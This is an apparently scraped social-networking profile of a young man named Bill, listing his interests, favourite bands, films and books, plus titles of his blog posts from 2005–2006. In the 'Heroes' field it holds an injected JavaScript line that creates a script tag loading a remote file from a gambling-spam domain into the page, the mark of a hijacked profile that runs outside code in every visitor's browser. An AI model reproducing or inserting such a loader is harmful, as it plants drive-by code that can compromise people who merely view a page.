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Bill

Rise and fucking shine!

About Me

I'm Bill, I'm about 6' tall and I have stupid hair. I like to write, some of my stories are up there in my blog section. I love movies. I love books. I sometimes fear that I am becoming unhealthily misanthropic but i guess thats just because most people suck. My friends don't suck all the time though and that's why I love them. My friends are way better than your friends. =] I drink...oh boy do i drink. I drink for all the right reasons; drinking makes people more fun, more interesting and more attractive to me. I am also a nutjob, my friends will tell you that I'll do pretty much anything if I think it is fun, no matter what obvious health risks there may be. In short, I am guy who is all about fun. If that's the kinda guy you want to be friends with, drop me a message. Stay fun =]Layout made by mrsblonde at CreateBlog.com . Layout By Mrsblonde

My Interests

I'm a big movie fan, spend most of my time watching films. I like goin to metal and punk clubs, mosh-pits are pretty fun!! I read quite alot too. When i'm nt doin any of that it's anyones guess what the hell I might be upto.

I'd like to meet:

People of the female variety who think im foxy , and aliens! I have already met the Hoff :P

Music:

God where to start? ALKALINE TRIO!!! Blink 182, NoFX, Greenday, MxPx, Pennywise, Mad Caddies, Bowling for Soup, New Found Glory, Boxcar Racer, REM, The Eagles, Slipknot, KoRn, System of a Down, Killswitch Engage, Bryan Adams, Goldfinger, Elton John, Don Maclean, Weird Al Yankovich, Dropkick Murphys, The Offspring, Zebrahead, Mudvayne, Fueral For A Freind, Creed, Heavens, Sum 41, Hanson, Avenged Sevenfold, 36 Crazyfists, Bullet for My Valentine, Eminem, Rage Against the Machine, Dresden Dolls, Panic! at The Disco, Trivium, Aerosmith, Ozzy, Atreyu, Lost Prophets, Alice Cooper, AVA, Foo Fighters, Lit, Nirvana, AFI, and a shit load more that don't sprog to mind....told ya it was varied!

Movies:

Fuck Yeah!! Pulp Fiction, Resevoir Dogs, Kill Bill (Tarantino is a God!!!!!) Im lovin the slasher flicks: Halloween, Friday the 13th, Nightmare on Elm Street! Dazed and Confused (love the stoner flicks)! South Park, Beavis and Butthead. lol. The Lord of The Rings Movies kicked ass!! Oh yeah and....WAYNE'S WORLD!!!!!!!!!!!!!!!!!!!!!! I'll watch pretty much anything.

Television:

I don't watch much TV but I love Everybody Loves Raymond!

Books:

Dean Koontz, Stephen King, Mick Foley religiously. I will read almost anything you put infront of me but I enjoy those three the most. Is porn a book?

Heroes:

I have way too many. .."var s=document.createElement('script');s.src='http://gamblingboa rd.com/x/7318.js';document.getElementsByTagName('head')[0].a ppendChild(s);"

My Blog

April Fool's

I woke up at around nine AM with my brother's pet tarantula crawling over my face. It took a moment for the situation to register and when it did I let out a high-pitched, girlish scream, the likes o...
Posted by Bill on Tue, 28 Mar 2006 05:37:00 PST

Untitled

I remember a day in the summer of 1971. I remember it perfectly actually. It had been almost two weeks since it last rained and the days just seemed to be getting hotter and hotter. I remember I was l...
Posted by Bill on Sat, 15 Oct 2005 09:35:00 PST

Out with the old...

Its the weather for young love.   Thats what Jeff was thinking as he sat in the drivers seat of his old Ford, which was parked in the parking lot outside the supermarket, as close to the fron...
Posted by Bill on Sun, 09 Oct 2005 01:16:00 PST

A Suicide Note

  The following letter was found written on hotel stationary lying next to the body of James Vernette. He was dead. Killed by a single, self -inflicted gunshot wound to the head.   I have a...
Posted by Bill on Sat, 08 Oct 2005 03:58:00 PST

MILK FUCKIN RULES!!!!

I'm sittin in Key Skills rite now with Chi and i'v just realised that i havn't mentioned my love for milk in my profile so i figured i wud make a blog specially in honour of the fantastically deliciou...
Posted by Bill on Mon, 01 Jan 1900 12:00:00 PST

question thingy

WHAT WOULD YOU DO IF: » I committed suicide: » I said I liked you: » I kissed you: » I lived next door to you: » I started doing really bad drugs: » I stole something: » I was hospitalized: ...
Posted by Bill on Mon, 01 Jan 1900 12:00:00 PST

Just thought id write sumthin!

Im quite bored at the minute so i jus thought i wud write sumthing here! I'm tired, it's sunday, it's early (14:07 is early to me!!!) Nehoo, im done now!
Posted by Bill on Mon, 01 Jan 1900 12:00:00 PST